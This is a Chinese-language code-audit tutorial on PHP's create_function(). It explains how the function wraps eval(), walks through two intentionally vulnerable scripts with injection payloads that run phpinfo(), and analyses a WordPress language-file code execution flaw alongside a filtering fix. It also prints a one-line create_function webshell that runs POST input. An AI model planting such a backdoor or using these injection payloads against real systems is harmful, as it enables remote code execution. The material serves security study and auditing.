代码审计之create_function()函数
0x00 create_function()简介
适用范围:PHP 4> = 4.0.1
,PHP 5
,PHP 7
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
语法:
create_function(string $args,string $code) string $args 声明的函数变量部分 string $code 执行的方法代码部分
0x01 环境搭建
本次测试在Windows
下用PHPstudy
搭建环境,使用的是:PHP 5.4.45
+ MySQL 5.5
+ Apache
0x02 函数功能分析
官方案例:
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; ?>
保存为func.php
,访问如下:
分析:
create_function()
会创建一个匿名函数(lambda
样式)。此处创建了一个叫lambda_1
的函数,在第一个echo
中显示出名字,并在第二个echo
语句中执行了此函数。
create_function()函数会在内部执行 eval(),我们发现是执行了后面的return
语句,属于create_function()
中的第二个参数string $code
位置。
因此,上述匿名函数的创建与执行过程等价于:
<?php function lambda_1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?>
create_function()
函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程,我们可以熟练的实现对代码注入的payload
构造,从而进行漏洞挖掘和找出存在的缺陷。
0x03 实现代码注入的案例
案例 1
1.php
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>
payload
的构造:
http://localhost/test/1.php?sort_by='"]);}phpinfo();/*
还原实际的组合过程:
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
匿名函数实际的执行:
function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* }
回车换行整理一下:
function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* }
案例 2
2.php
<?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?>
payload
的构造:
http://localhost/test/2.php?c=1));}phpinfo();/*
还原实际的组合过程:
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
匿名函数实际的执行:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }
回车换行整理一下:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*)); }
0x04 实现后门的打造
houmen.php
<?php $func =create_function('',$_POST['cmd']);$func();?>
create_function()
是可以利用当后门的函数,实际上它是通过执行eval
实现(此处相当于一句话木马),访问如下:
0x05 代码审计实战中的案例
WordPress <= 4.6.1 使用语言文件任意代码执行漏洞
接下来我们看这个版本的WordPress
中,一处用到create_function
的地方,在wp-includes/pomo/translations.php
第203-209
行:
/** * Makes a function, which will return the right translation index, according to the * plural forms header * @param int $nplurals * @param string $expression */ function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression); $func_body = " \$index = (int)($expression); return (\$index < $nplurals)? \$index : $nplurals - 1;"; return create_function('$n', $func_body); }
我们看一下正常的字体文件zh_CN.mo
,其中有这么一段:
Plural-Froms
这个header
就是上面的函数所需要处理的,其中nplurals
的值即为$nplurals
的值,而plural
的值正是我们需要的$expression
的值。所以我们将字体文件进行如下改动:
我们payload
中的)
首先闭合了前面的(
,然后;
结束前面的语句,接着是我们的一句话木马,然后用/*
将后面不必要的部分注释掉,通过这样,我们就将payload
完整的传入了create_function
,在其创建函数时我们的payload
就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload
:
修复方案:
在官方发布补丁前建议管理员增强安全意识,不要使用来路不明的字体文件、插件、主题等等。
对于开发者来说,建议对$expression
中的特殊符号进行过滤,例如:
$not_allowed = array(";", ")", "}"); $experssion = str_replace($not_allowed, "", $expression);
0x06 create_function()被高版本 PHP 废弃
从PHP 7.2.0
开始,create_function()
被废弃
------------------------------------------------------------------------------------